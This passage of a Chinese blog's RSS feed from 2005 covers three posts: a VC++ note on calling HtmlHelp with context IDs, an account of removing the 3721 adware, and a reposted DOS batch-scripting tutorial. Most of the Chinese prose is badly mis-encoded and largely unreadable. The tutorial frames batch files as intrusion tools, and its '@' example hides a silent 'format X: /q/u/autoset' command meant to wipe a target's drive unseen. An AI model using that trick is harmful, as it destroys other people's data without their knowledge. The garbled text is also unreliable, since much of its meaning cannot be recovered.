= "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2005-12-19 15:10 <a href="http://www.shnenglu.com/aqazero/archive/2005/12/19/14193.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>VC紼嬪簭浣跨敤chm甯姪鏂囦歡http://www.shnenglu.com/aqazero/archive/2005/12/19/14194.htmlbrentbrentMon, 19 Dec 2005 01:30:00 GMThttp://www.shnenglu.com/aqazero/archive/2005/12/19/14194.htmlhttp://www.shnenglu.com/aqazero/comments/14194.htmlhttp://www.shnenglu.com/aqazero/archive/2005/12/19/14194.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/14194.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/14194.html聽聽聽 涓寮濮嬫兂鐢╲c6鑷甫鐨勪笂涓嬫枃鐩稿叧甯姪銆傚湪寤虹珛宸ョ▼鐨勬椂鍊欓夋嫨context-sensitive help鍗沖彲銆傚棷錛寁c甯垜鍒涘緩浜咥fxDlg.rtf銆乻etup.cnt銆乻etup.hm銆乻etup.hpj銆乻etup.ph絳夋枃浠訛紝浠ヤ負鐪佷簨浜嗭紝鐢╳ord鎵撳紑AfxDlg.rtf涓鐪嬶紝瀹屽叏涓嶄細緙栬緫銆傜湅浜嗐奿nside visual c++銆嬮噷闈㈢殑鏂囩珷錛岃繕鏄竴澶撮浘姘淬?br />聽聽聽 winhelp榪欒佹帀鐗欑殑涓滆タ錛屽湪win98騫翠唬灝辮htmlhelp娣樻卑浜嗭紝淇鴻繕鐢ㄥ畠騫插槢錛熷喅瀹氬純鏆楁姇鏄庯紝浣跨敤html help workshop鏉ュ仛甯姪銆俬tml help workshop鏄竴嬈懼埗浣渃hm鏂囦歡鐨勫伐鍏鳳紝寰蔣鍏嶈垂鎻愪緵錛屽埌澶勬湁鐨勪笅銆備嬌鐢ㄨ搗鏉ヤ篃鏂逛究錛屾瘮緙栬緫rtf鏍煎紡瑕佹柟渚垮寰楀錛屽熀鏈柟娉曟槸鎶婂埗浣滃ソ鐨勭綉欏靛線閲岄潰濉烇紝涓嶆氮璐瑰彛鑸屼簡銆?

聽聽聽 鐢╤tml help workshop鍒朵綔chm鏄柟渚匡紝鍏抽敭鏄庝箞璁╁畠鍙互"涓婁笅鏂囩浉鍏?銆傜▼搴忛噷璋冪敤chm甯粍鏂囦歡鐨刟pi鏄?br />聽聽聽 HWND HtmlHelp(HWND hwndCaller, LPCSTR pszFile, UINT uCommand, DWORD dwData);聽
聽聽聽 鏇存敼App綾葷殑WinHelp()鏂規(guī)硶濡備笅錛?br />聽void CSetupApp::WinHelp(DWORD dwData, UINT nCmd)
聽{
聽 ::HtmlHelp(NULL, "E:\\workshop\\setup\\hlp\\chmtest.chm", HH_HELP_CONTEXT, dwData);
聽}
聽聽聽 鍏蜂綋鏂囦歡鍦ㄥ摢闇瑕佸叿浣撳垎鏋愩傝繖閲岃璇寸殑鏄繖涓猟wData鍙槸寰堟湁鏉ュご鐨勶紝璁句釜鏂偣灝卞彲浠ョ湅涓竻妤氫簡錛?br />聽ID_HELP鍛戒護鐨勬秷鎭礬寰勬槸錛?br />聽CWnd::OnWndMsg()
聽CDialog::OnCommandHelp()
聽LRESULT CDialog::OnCommandHelp(WPARAM, LPARAM lParam)
聽{
聽 if (lParam == 0 && m_nIDHelp != 0)
聽聽 lParam = HID_BASE_RESOURCE + m_nIDHelp;//m_nIDHelp灝辨槸浣犵殑瀵硅瘽妗嗙殑id鍝?br />聽 if (lParam != 0)
聽 {
聽聽 CWinApp* pApp = AfxGetApp();
聽聽 if (pApp != NULL)
聽聽聽 pApp->WinHelp(lParam);//
聽聽 return TRUE;
聽 }
聽 return FALSE;
聽}
濡備綍鍐機HM:
聽聽聽 鐜板湪瑕佸仛鐨勫氨鏄妸dwData鍜屾兂瑕佹樉紺虹殑涓滆タ鍏寵仈璧鋒潵銆?/div>
聽鍏蜂綋鏂規(guī)硶鏄細
聽1銆佷嬌鐢ㄨ浜嬫湰寤虹珛涓涓枃鏈枃浠訛紝鏂囦歡鍚嶄負Map.h銆傚湪璇ユ枃浠朵腑杈撳叆涓嬮潰鐨勫唴瀹癸細
聽#define TOPIC1 100
聽#define TOPIC2 200
聽榪欓噷TOPIC1銆乀OPIC2鏄竴浜涘父閲忥紝100銆?00鏄綘鍦ˋPI璋冪敤鏃舵寚瀹氱殑ContextID銆?
聽2銆佸湪HTMLHelp Workshop涓夋嫨Project鏍囩錛岀偣鍑籋tmlHelp API information鎸夐挳錛屽湪瀵硅瘽妗嗙殑Map鏍囩涓夋嫨Header File鎸夐挳錛岀劧鍚庨夋嫨浣犲墠闈㈠緩绔嬬殑Map.h鏂囦歡銆?
聽3銆佽繕鏄湪HtmlHelp API information瀵硅瘽妗嗕腑閫夋嫨Alias鏍囩錛岀偣鍑籄dd鎸夐挳錛屽湪瀵硅瘽妗嗕腑鐨刉henever This Constant or number is passed to the HTMLHelp API涓嬭緭鍏ュ父閲忥紝濡俆OPIC1銆?
聽4銆佸湪Use it to Refer to This HTML File涓夋嫨HTML鏂囦歡錛屽Topic1.html銆?
聽5銆侀噸澶?銆?涓ゆ鎸囧畾鎵鏈夋枃浠躲?
聽6銆佺紪璇戞枃浠跺氨鍙互浜嗐?
聽錛堣漿鑷?a >http://www.china-askpro.com/msg44/qa78.shtml錛?br />聽鍏蜂綋鐨凜ontextID涓嶆槸100錛?00鍟婏紝鏄疕ID_BASE_RESOURCE+瀵硅瘽妗咺D銆?br />聽鏌ユ壘涓涓嬪彂鐜幫細#define HID_BASE_RESOURCE 0x00020000UL 錛屽鏋滀綘鐨勫璇濇ID鍊兼槸0x0102閭e氨璇?br />聽#define MYDLGID 0x20102浜嗐?/div>
娉細// Help ID bases錛坅fxpriv.h錛?br />#define HID_BASE_COMMAND聽聽聽 0x00010000UL聽聽聽聽聽聽聽 // ID and IDM
#define HID_BASE_RESOURCE聽聽 0x00020000UL聽聽聽聽聽聽聽 // IDR and IDD
#define HID_BASE_PROMPT聽聽聽聽 0x00030000UL聽聽聽聽聽聽聽 // IDP
#define HID_BASE_NCAREAS聽聽聽 0x00040000UL
#define HID_BASE_CONTROL聽聽聽 0x00050000UL聽聽聽聽聽聽聽 // IDC
#define HID_BASE_DISPATCH聽聽 0x00060000UL聽聽聽聽聽聽聽 // IDispatch help codes
濡備綍璋冪敤HtmlHelp:
聽聽聽寰蔣鍦ㄦ彁渚沨tml help workshop鐨勬椂鍊欐彁渚涗簡璋冪敤鏂規(guī)硶錛屽氨鏄湪html help workshop鐨勫畨瑁呯洰褰曚笅鎻愪緵浜嗕釜澶存枃浠跺拰闈欐佸簱錛岃繖涓簱鐨勪綔鐢ㄦ槸瑁呰澆hhctrl.ocx(system32鐩綍涓?錛岃皟鐢ㄥ叾涓湡姝g殑htmlhelp鏂規(guī)硶銆傚叿浣撹錛?br />聽http://www.yesky.com/SoftChannel/72342376173010944/20010409/165483.shtml


brent 2005-12-19 09:30 鍙戣〃璇勮
]]>瀹囧畽鏃犳晫涔嬫棤鑰葷梾姣?/title><link>http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html</link><dc:creator>brent</dc:creator><author>brent</author><pubDate>Mon, 19 Dec 2005 01:26:00 GMT</pubDate><guid>http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html</guid><wfw:comment>http://www.shnenglu.com/aqazero/comments/14218.html</wfw:comment><comments>http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/aqazero/comments/commentRss/14218.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/aqazero/services/trackbacks/14218.html</trackback:ping><description><![CDATA[ <div>鏄ㄥぉlp鐨勬満鍣ㄥ潖鎺夛紝鍙垜榪囧幓淇備慨濂藉悗鐪嬪埌濂圭數(shù)鑴戜笂鏈変釜3721錛屾垜鏈漢涓鍚戣寰?721榪欎笢瑗挎病鐢紝灝卞府濂瑰嵏杞戒簡錛屽ス鐢?shù)鑴戞?28M鍐呭瓨錛屼綍蹇呬負娌℃湁鐢ㄧ殑涓滆タ嫻垂鍐呭瓨鍜孋PU鍛€?/div> <div>聽</div> <div>鏈潵榪欏ソ濂界殑錛屾病浠涔堜簨銆傚彲淇哄氨鏈変釜鍧忎範鎯紝鏌ョ湅浜嗕竴涓婥:\winnt\downlo~1\鐩綍涓嬬殑鏂囦歡銆傝繖涓枃浠跺す鍦‥xplorer涓嬫槸闅愯棌鐨勶紝鍙兘鍦ㄥ懡浠よ妯″紡涓嬬湅銆備竴鐪嬩簡涓嶅緱鍟婏紝涓鍫嗗瀮鍦撅紝鐪嬮兘涓嶇湅浠涔堢殑錛岀洿鎺?del /q *.*銆傛彁紺篊nsHook.dll CnsMin.dll姝e湪琚嬌鐢紝鏃犳硶鍒犻櫎銆傛墦寮浠誨姟綆$悊鍣紝鐪嬪埌涓涓猺undll32.exe鐨勮繘紼嬨備亢絎竴鍙嶅簲鏄腑鐥呮瘨浜嗐傝櫧鐒舵湰浜烘槸鑿滈笩錛屼絾涓鍚戞槸鐤炬伓濡備粐鐨勩?/div> <div>聽</div> <div>鎴戞兂鍙兘鏄繖鐥呮瘨寮浜嗕袱涓繘紼嬩簰鐩哥洃瑙嗭紝鎵浠ユ枃浠跺垹闄や笉鎺夈備簬鏄嬌灝芥祽韜В鏈紝淇敼娉ㄥ唽琛紝閲嶅懡鍚嶆枃浠訛紝寮鴻鍒犻櫎鏂囦歡錛屽惎鍔ㄥ悗榪涘叆瀹夊叏妯″紡銆傚け璐ャ佸け璐ワ紒鑰屼笖鎯蟲壘涓惎鍔ㄧ洏灞呯劧娌¤蔣椹便傛洿鍙仺鐨勶紝Norton灞呯劧瀵硅繖涓壒澶у彿鐥呮瘨瑙嗚屼笉瑙侊紒</div> <div>褰誨簳娌¤緳錛屼笂緗慻oogle浜嗕竴涓婥nsHook.dll錛屾壘鍒頒竴澶勶紝<a rel="nofollow"><font color="#003399">楂樻墜娓呴櫎鐥呮瘨鐨勮繃紼?/font></a>銆傛繁鍙楁暀鑲詫紝鍘熸潵姝ょ梾姣掑氨鏄ぇ鍚嶉紟榧庣殑3721鍟婏紝鎴戠珛椹鎭跺績寰楁兂鍚愶紝瀵規(guī)鍏徃鐨勮秴綰ф棤鑰繪湁浜嗘洿娣卞埢鐨勮璇嗐?/div> <div>聽</div> <div>淇哄lp璇達細濂囨眳鐒舵病浜哄幓鍛婅繖涓叕鍙革紝濡傛鏄庣洰寮犺儐鐨勬暎鎾梾姣掞紝榪樻湁娌℃湁鐜嬫硶浜嗐?/div> <div>lp絎戠潃璇達細鎹榪欎釜鍏徃鐨勮佹誨拰xxx鏄翰鎴氬憿銆?/div> <div>淇哄ぇ鎮(zhèn)燂紝鍘熸潵濡傛錛屽悓鏃跺lp鐨勬秷鎭姝ょ伒閫氳〃紺哄磭鎷溿?/div> <div>聽</div> <div>鍒犻櫎瀹岃鐥呮瘨鍚庯紝淇哄簞涓ョ殑鍦╨p鐨勯厤緗枃浠禖:\winnt\system32\drivers\etc\host鍚庢坊鍔?</div> <div>127.0.0.1 www.3721.com</div> <div>甯屾湜涓栫晫浠庢娓呴潤浜?..鑳藉悧?鎴栬涓嶈兘錛屼絾璇瘋鎴戞妸榪欎釜鎭跺績鐨勫悕縐版案榪滈拤鍦ㄨ昏頸鏌變笂錛?/div> <div>聽</div> <div> <a > <font color="#003399">3721涔嬫棤鑰誨叏闈㈡暀鑲?/font> </a>銆?/div> <div>鍏蜂綋鑷繁鐪嬶紝淇烘潵鎬葷粨涓涓嬶細</div> <div>1錛屽浜庡湪鍔炲叕瀹や笂緗戠殑鍚屽織錛屽洜涓?721浼氭妸寰堝榛勮壊緗戠珯鏀懼湪浣犵殑鍦板潃鏍忥紝鏈変簺鎸夐挳浼氭妸浣犲紩瀵煎埌榛勮壊鐢?shù)濯劸|戠珯(?)錛屾墍浠ュ鏋滀笉灝忓績鏋佸叾褰卞搷澹拌獕錛?/div> <div>2錛屽浜庢兂涓嶆柇鎻愰珮鐢?shù)鑴戞ц兘鐨勫彂鐑у弸錛?721浼氫弗閲嶅獎鍝嶇數(shù)鑴戠殑鎬ц兘銆傜◢寰礋璐d換鐨勭▼搴忔槸涓嶄細涔卞畨瑁呴挬瀛愬拰涔卞紑綰跨▼鐨勩?/div> <div>3錛屽浜庣數(shù)鑴戦厤緗瘮杈冨樊鐨勶紝鍚?</div> <div>4錛屽浜庢兂鈥滄垜鐨勭數(shù)鑴戞垜鍋氫富鈥濈殑錛屽氨涓嶇敤璇翠簡錛岃繖縐嶅己濂告皯鎰忕殑鐥呮瘨鏉涔嬭屽悗蹇?/div> <img src ="http://www.shnenglu.com/aqazero/aggbug/14218.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/aqazero/" target="_blank">brent</a> 2005-12-19 09:26 <a href="http://www.shnenglu.com/aqazero/archive/2005/12/19/14218.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>緙栧啓DOS鎵瑰鐞嗘枃浠禰杞琞 http://www.shnenglu.com/aqazero/archive/2005/12/19/14203.htmlbrentbrentMon, 19 Dec 2005 00:52:00 GMThttp://www.shnenglu.com/aqazero/archive/2005/12/19/14203.htmlhttp://www.shnenglu.com/aqazero/comments/14203.htmlhttp://www.shnenglu.com/aqazero/archive/2005/12/19/14203.html#Feedback0http://www.shnenglu.com/aqazero/comments/commentRss/14203.htmlhttp://www.shnenglu.com/aqazero/services/trackbacks/14203.html鍘熸枃鍦板潃http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm

濡傛灉娌℃湁涓瀹氱殑鐩稿叧鐭ヨ瘑鎭愭曚笉瀹規(guī)槗鐪嬫噦鍜岀悊瑙f壒澶勭悊鏂囦歡錛屼篃灝辨洿璋堜笉涓婅嚜宸卞姩鎵嬬紪鍐欎簡

鎵瑰鐞嗘枃浠舵槸鏃犳牸寮忕殑鏂囨湰鏂囦歡錛屽畠鍖呭惈涓鏉℃垨澶氭潯鍛戒護銆傚畠鐨勬枃浠舵墿灞曞悕涓?.bat 鎴?.cmd銆傚湪鍛戒護鎻愮ず涓嬮敭鍏ユ壒澶勭悊鏂囦歡鐨勫悕縐幫紝鎴栬呭弻鍑昏鎵瑰鐞嗘枃浠訛紝緋葷粺灝變細璋冪敤Cmd.exe鎸夌収璇ユ枃浠朵腑鍚勪釜鍛戒護鍑虹幇鐨勯『搴忔潵閫愪釜榪愯瀹冧滑銆備嬌鐢ㄦ壒澶勭悊鏂囦歡錛堜篃琚О涓烘壒澶勭悊紼嬪簭鎴栬剼鏈級錛屽彲浠ョ畝鍖栨棩甯告垨閲嶅鎬т換鍔°傚綋鐒舵垜浠殑榪欎釜鐗堟湰鐨勪富瑕佸唴瀹規(guī)槸浠嬬粛鎵瑰鐞嗗湪鍏ヤ鏡涓竴浜涘疄闄呰繍鐢紝渚嬪鎴戜滑鍚庨潰瑕佹彁鍒扮殑鐢ㄦ壒澶勭悊鏂囦歡鏉ョ粰緋葷粺鎵撹ˉ涓併佹壒閲忔鍏ュ悗闂ㄧ▼搴忕瓑銆備笅闈㈠氨寮濮嬫垜浠壒澶勭悊瀛︿範涔嬫梾鍚с?/p>

涓.綆鍗曟壒澶勭悊鍐呴儴鍛戒護綆浠?br />1.Echo 鍛戒護
鎵撳紑鍥炴樉鎴栧叧闂姹傚洖鏄懼姛鑳斤紝鎴栨樉紺烘秷鎭傚鏋滄病鏈変換浣曞弬鏁幫紝echo 鍛戒護灝嗘樉紺哄綋鍓嶅洖鏄捐緗?br />璇硶
echo [{ on|off }] [message]
Sample錛欯echo off / echo hello world
鍦ㄥ疄闄呭簲鐢ㄤ腑鎴戜滑浼氭妸榪欐潯鍛戒護鍜岄噸瀹氬悜絎﹀彿錛堜篃縐頒負綆¢亾絎﹀彿錛屼竴鑸敤> >> ^錛夌粨鍚堟潵瀹炵幇杈撳叆涓浜涘懡浠ゅ埌鐗瑰畾鏍煎紡鐨勬枃浠朵腑.榪欏皢鍦ㄤ互鍚庣殑渚嬪瓙涓綋鐜板嚭鏉ャ?/p>

2.@ 鍛戒護
琛ㄧず涓嶆樉紺篅鍚庨潰鐨勫懡浠わ紝鍦ㄥ叆渚佃繃紼嬩腑錛堜緥濡備嬌鐢ㄦ壒澶勭悊鏉ユ牸寮忓寲鏁屼漢鐨勭‖鐩橈級鑷劧涓嶈兘璁╁鏂圭湅鍒頒綘浣跨敤鐨勫懡浠ゅ暒銆?br />Sample錛欯echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 榪欎釜鍛戒護鏄笉鍙互浣跨敤/y榪欎釜鍙傛暟鐨勶紝鍙枩鐨勬槸寰蔣鐣欎簡涓猘utoset榪欎釜鍙傛暟緇欐垜浠紝鏁堟灉鍜?y鏄竴鏍風(fēng)殑銆?

3.Goto 鍛戒護
鎸囧畾璺寵漿鍒版爣絳撅紝鎵懼埌鏍囩鍚庯紝紼嬪簭灝嗗鐞嗕粠涓嬩竴琛屽紑濮嬬殑鍛戒護銆?br />璇硶錛歡oto label 錛坙abel鏄弬鏁幫紝鎸囧畾鎵瑕佽漿鍚戠殑鎵瑰鐞嗙▼搴忎腑鐨勮銆傦級
Sample錛?br />if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms錛堝鏋滆繖閲岀殑if銆?1銆?2浣犱笉鏄庣櫧鐨勮瘽錛屽厛璺寵繃鍘伙紝鍚庨潰浼氭湁璇︾粏鐨勮В閲娿傦級
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
鏍囩鐨勫悕瀛楀彲浠ラ殢渚胯搗錛屼絾鏄渶濂芥槸鏈夋剰涔夌殑瀛楁瘝鍟︼紝瀛楁瘝鍓嶅姞涓細鐢ㄦ潵琛ㄧず榪欎釜瀛楁瘝鏄爣絳撅紝goto鍛戒護灝辨槸鏍規(guī)嵁榪欎釜錛氭潵瀵繪壘涓嬩竴姝ヨ煩鍒板埌閭i噷銆傛渶濂芥湁涓浜涜鏄庤繖鏍蜂綘鍒漢鐪嬭搗鏉ユ墠浼氱悊瑙d綘鐨勬剰鍥懼晩銆?/p>

4.Rem 鍛戒護
娉ㄩ噴鍛戒護錛屽湪C璇█涓浉褰撲笌/*--------*/,瀹冨茍涓嶄細琚墽琛岋紝鍙槸璧蜂竴涓敞閲婄殑浣滅敤錛屼究浜庡埆浜洪槄璇誨拰浣犺嚜宸辨棩鍚庝慨鏀廣?br />Rem Message
Sample錛欯Rem Here is the description.

5.Pause 鍛戒護
榪愯 Pause 鍛戒護鏃訛紝灝嗘樉紺轟笅闈㈢殑娑堟伅錛?br />Press any key to continue . . .
Sample錛?br />@echo off
:begin
copy a:*.* d錛?/back
echo Please put a new disk into driver A
pause
goto begin
鍦ㄨ繖涓緥瀛愪腑錛岄┍鍔ㄥ櫒 A 涓鐩樹笂鐨勬墍鏈夋枃浠跺潎澶嶅埗鍒癲://back涓傛樉紺虹殑娉ㄩ噴鎻愮ず鎮(zhèn)ㄥ皢鍙︿竴寮犵鐩樻斁鍏ラ┍鍔ㄥ櫒 A 鏃訛紝pause 鍛戒護浼氫嬌紼嬪簭鎸傝搗錛屼互渚挎?zhèn)ㄦ洿鎹⒓倎鐩樺Q岀劧鍚庢寜浠繪剰閿戶緇鐞嗐?/p>

6.Call 鍛戒護
浠庝竴涓壒澶勭悊紼嬪簭璋冪敤鍙︿竴涓壒澶勭悊紼嬪簭錛屽茍涓斾笉緇堟鐖舵壒澶勭悊紼嬪簭銆俢all 鍛戒護鎺ュ彈鐢ㄤ綔璋冪敤鐩爣鐨勬爣絳俱傚鏋滃湪鑴氭湰鎴栨壒澶勭悊鏂囦歡澶栦嬌鐢?Call錛屽畠?yōu)畣涓嶄細鍦ㄥ懡渥o琛岃搗浣滅敤銆?br />璇硶
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
鍙傛暟
[Drive: }[Path] FileName
鎸囧畾瑕佽皟鐢ㄧ殑鎵瑰鐞嗙▼搴忕殑浣嶇疆鍜屽悕縐般俧ilename 鍙傛暟蹇呴』鍏鋒湁 .bat 鎴?.cmd 鎵╁睍鍚嶃?/p>

7.start 鍛戒護
璋冪敤澶栭儴紼嬪簭錛屾墍鏈夌殑DOS鍛戒護鍜屽懡浠よ紼嬪簭閮藉彲浠ョ敱start鍛戒護鏉ヨ皟鐢ㄣ?br />鍏ヤ鏡甯哥敤鍙傛暟錛?br />MIN 寮濮嬫椂紿楀彛鏈灝忓寲
SEPARATE 鍦ㄥ垎寮鐨勭┖闂村唴寮濮?16 浣?Windows 紼嬪簭
HIGH 鍦?HIGH 浼樺厛綰х被鍒紑濮嬪簲鐢ㄧ▼搴?br />REALTIME 鍦?REALTIME 浼樺厛綰х被鍒紑濮嬪簲鐢ㄧ▼搴?br />WAIT 鍚姩搴旂敤紼嬪簭騫剁瓑鍊欏畠緇撴潫
parameters 榪欎簺涓轟紶閫佸埌鍛戒護/紼嬪簭鐨勫弬鏁?br />鎵ц鐨勫簲鐢ㄧ▼搴忔槸 32-浣?GUI 搴旂敤紼嬪簭鏃訛紝CMD.EXE 涓嶇瓑搴旂敤紼嬪簭緇堟灝辮繑鍥炲懡浠ゆ彁紺恒傚鏋滃湪鍛戒護鑴氭湰鍐呮墽琛岋紝璇ユ柊琛屼負鍒欎笉浼氬彂鐢熴?br />8.choice 鍛戒護
choice 浣跨敤姝ゅ懡浠ゅ彲浠ヨ鐢ㄦ埛杈撳叆涓涓瓧絎︼紝浠庤岃繍琛屼笉鍚岀殑鍛戒護銆備嬌鐢ㄦ椂搴旇鍔?c:鍙傛暟錛宑:鍚庡簲鍐欐彁紺哄彲杈撳叆鐨勫瓧絎︼紝涔嬮棿鏃犵┖鏍箋傚畠鐨勮繑鍥炵爜涓?234鈥︹?br />濡? choice /c:dme defrag,mem,end
灝嗘樉紺?br />defrag,mem,end[D,M,E]?
Sample錛?br />Sample.bat鐨勫唴瀹瑰涓?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 錛堝簲鍏堝垽鏂暟鍊兼渶楂樼殑閿欒鐮侊級
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye

姝ゆ枃浠惰繍琛屽悗錛屽皢鏄劇ず defrag,mem,end[D,M,E]? 鐢ㄦ埛鍙夋嫨d m e 錛岀劧鍚巌f璇彞灝嗕綔鍑哄垽鏂紝d琛ㄧず鎵ц鏍囧彿涓篸efrag鐨勭▼搴忔錛宮琛ㄧず鎵ц鏍囧彿涓簃em鐨勭▼搴忔錛宔琛ㄧず鎵ц鏍囧彿涓篹nd鐨勭▼搴忔錛屾瘡涓▼搴忔鏈鍚庨兘浠oto end灝嗙▼搴忚煩鍒癳nd鏍囧彿澶勶紝鐒跺悗紼嬪簭灝嗘樉紺篻ood bye錛屾枃浠剁粨鏉熴?/p>

9.If 鍛戒護

if 琛ㄧず灝嗗垽鏂槸鍚︾鍚堣瀹氱殑鏉′歡錛屼粠鑰屽喅瀹氭墽琛屼笉鍚岀殑鍛戒護銆?鏈変笁縐嶆牸寮?
1銆乮f "鍙傛暟" == "瀛楃涓? 銆寰呮墽琛岀殑鍛戒護
鍙傛暟濡傛灉絳変簬鎸囧畾鐨勫瓧絎︿覆錛屽垯鏉′歡鎴愮珛錛岃繍琛屽懡浠わ紝鍚﹀垯榪愯涓嬩竴鍙ャ?娉ㄦ剰鏄袱涓瓑鍙鳳級
濡俰f "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms

2銆乮f exist 鏂囦歡鍚嶃 寰呮墽琛岀殑鍛戒護
濡傛灉鏈夋寚瀹氱殑鏂囦歡錛屽垯鏉′歡鎴愮珛錛岃繍琛屽懡浠わ紝鍚﹀垯榪愯涓嬩竴鍙ャ?br />濡俰f exist config.sys edit config.sys

3銆乮f errorlevel / if not errorlevel 鏁板瓧銆 寰呮墽琛岀殑鍛戒護
濡傛灉榪斿洖鐮佺瓑浜庢寚瀹氱殑鏁板瓧錛屽垯鏉′歡鎴愮珛錛岃繍琛屽懡浠わ紝鍚﹀垯榪愯涓嬩竴鍙ャ?br />濡俰f errorlevel 2 goto x2 銆
DOS紼嬪簭榪愯鏃墮兘浼氳繑鍥炰竴涓暟瀛楃粰DOS錛岀О涓洪敊璇爜errorlevel鎴栫О榪斿洖鐮侊紝甯歌鐨勮繑鍥炵爜涓?銆?銆?/p>

10.for 鍛戒護
for 鍛戒護鏄竴涓瘮杈冨鏉傜殑鍛戒護錛屼富瑕佺敤浜庡弬鏁板湪鎸囧畾鐨勮寖鍥村唴寰幆鎵ц鍛戒護銆?br />鍦ㄦ壒澶勭悊鏂囦歡涓嬌鐢?FOR 鍛戒護鏃訛紝鎸囧畾鍙橀噺璇蜂嬌鐢?%%variable

for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 鎸囧畾涓涓崟涓瀛楁瘝鍙浛鎹㈢殑鍙傛暟銆?br />(set) 鎸囧畾涓涓垨涓緇勬枃浠躲傚彲浠ヤ嬌鐢ㄩ氶厤絎︺?br />command 鎸囧畾瀵規(guī)瘡涓枃浠舵墽琛岀殑鍛戒護銆?br />command-parameters 涓虹壒瀹氬懡浠ゆ寚瀹氬弬鏁版垨鍛戒護琛屽紑鍏熾?br />鍦ㄦ壒澶勭悊鏂囦歡涓嬌鐢?FOR 鍛戒護鏃訛紝鎸囧畾鍙橀噺璇蜂嬌鐢?%%variable
鑰屼笉瑕佺敤 %variable銆傚彉閲忓悕縐版槸鍖哄垎澶у皬鍐欑殑錛屾墍浠?%i 涓嶅悓浜?%I

濡傛灉鍛戒護鎵╁睍鍚嶈鍚敤錛屼笅鍒楅澶栫殑 FOR 鍛戒護鏍煎紡浼氬彈鍒?br />鏀寔:

FOR /D %variable IN (set) DO command [command-parameters]

濡傛灉闆嗕腑鍖呭惈閫氶厤絎︼紝鍒欐寚瀹氫笌鐩綍鍚嶅尮閰嶏紝鑰屼笉涓庢枃浠?br />鍚嶅尮閰嶃?/p>

FOR /R [[drive:]path] %variable IN (set) DO command [command-

媯鏌ヤ互 [drive:]path 涓烘牴鐨勭洰褰曟爲錛屾寚鍚戞瘡涓洰褰曚腑鐨?br />FOR 璇彞銆傚鏋滃湪 /R 鍚庢病鏈夋寚瀹氱洰褰曪紝鍒欎嬌鐢ㄥ綋鍓?br />鐩綍銆傚鏋滈泦浠呬負涓涓崟鐐?.)瀛楃錛屽垯鏋氫婦璇ョ洰褰曟爲銆?/p>

FOR /L %variable IN (start,step,end) DO command [command-para

璇ラ泦琛ㄧず浠ュ閲忓艦寮忎粠寮濮嬪埌緇撴潫鐨勪竴涓暟瀛楀簭鍒椼?br />鍥犳錛?1,1,5) 灝嗕駭鐢熷簭鍒?1 2 3 4 5錛?5,-1,1) 灝嗕駭鐢?br />搴忓垪 (5 4 3 2 1)銆?/p>

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command

鎴栬咃紝濡傛灉鏈?usebackq 閫夐」:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command

filenameset 涓轟竴涓垨澶氫釜鏂囦歡鍚嶃傜戶緇埌 filenameset 涓殑
涓嬩竴涓枃浠朵箣鍓嶏紝姣忎喚鏂囦歡閮藉凡琚墦寮銆佽鍙栧茍緇忚繃澶勭悊銆?br />澶勭悊鍖呮嫭璇誨彇鏂囦歡錛屽皢鍏跺垎鎴愪竴琛岃鐨勬枃瀛楋紝鐒跺悗灝嗘瘡琛?br />瑙f瀽鎴愰浂鎴栨洿澶氱殑絎﹀彿銆傜劧鍚庣敤宸叉壘鍒扮殑絎﹀彿瀛楃涓插彉閲忓?br />璋冪敤 For 寰幆銆備互榛樿鏂瑰紡錛?F 閫氳繃姣忎釜鏂囦歡鐨勬瘡涓琛屼腑鍒嗗紑
鐨勭涓涓┖鐧界鍙楓傝煩榪囩┖鐧借銆傛?zhèn)ㄥ彲閫氳繃鎸囧畾鍙?"options"
鍙傛暟鏇夸唬榛樿瑙f瀽鎿嶄綔銆傝繖涓甫寮曞彿鐨勫瓧絎︿覆鍖呮嫭涓涓垨澶氫釜
鎸囧畾涓嶅悓瑙f瀽閫夐」鐨勫叧閿瓧銆傝繖浜涘叧閿瓧涓?

eol=c - 鎸囦竴涓娉ㄩ噴瀛楃鐨勭粨灝?灝變竴涓?
skip=n - 鎸囧湪鏂囦歡寮濮嬫椂蹇界暐鐨勮鏁般?br />delims=xxx - 鎸囧垎闅旂闆嗐傝繖涓浛鎹簡絀烘牸鍜岃煩鏍奸敭鐨?br />榛樿鍒嗛殧絎﹂泦銆?br />tokens=x,y,m-n - 鎸囨瘡琛岀殑鍝竴涓鍙瘋浼犻掑埌姣忎釜榪唬
鐨?for 鏈韓銆傝繖浼氬鑷撮澶栧彉閲忓悕縐扮殑
鏍煎紡涓轟竴涓寖鍥淬傞氳繃 nth 絎﹀彿鎸囧畾 m
絎﹀彿瀛楃涓蹭腑鐨勬渶鍚庝竴涓瓧絎︽槦鍙鳳紝
閭d箞棰濆鐨勫彉閲忓皢鍦ㄦ渶鍚庝竴涓鍙瘋В鏋愪箣
鍒嗛厤騫舵帴鍙楄鐨勪繚鐣欐枃鏈?br />usebackq - 鎸囧畾鏂拌娉曞凡鍦ㄤ笅綾繪儏鍐典腑浣跨敤:
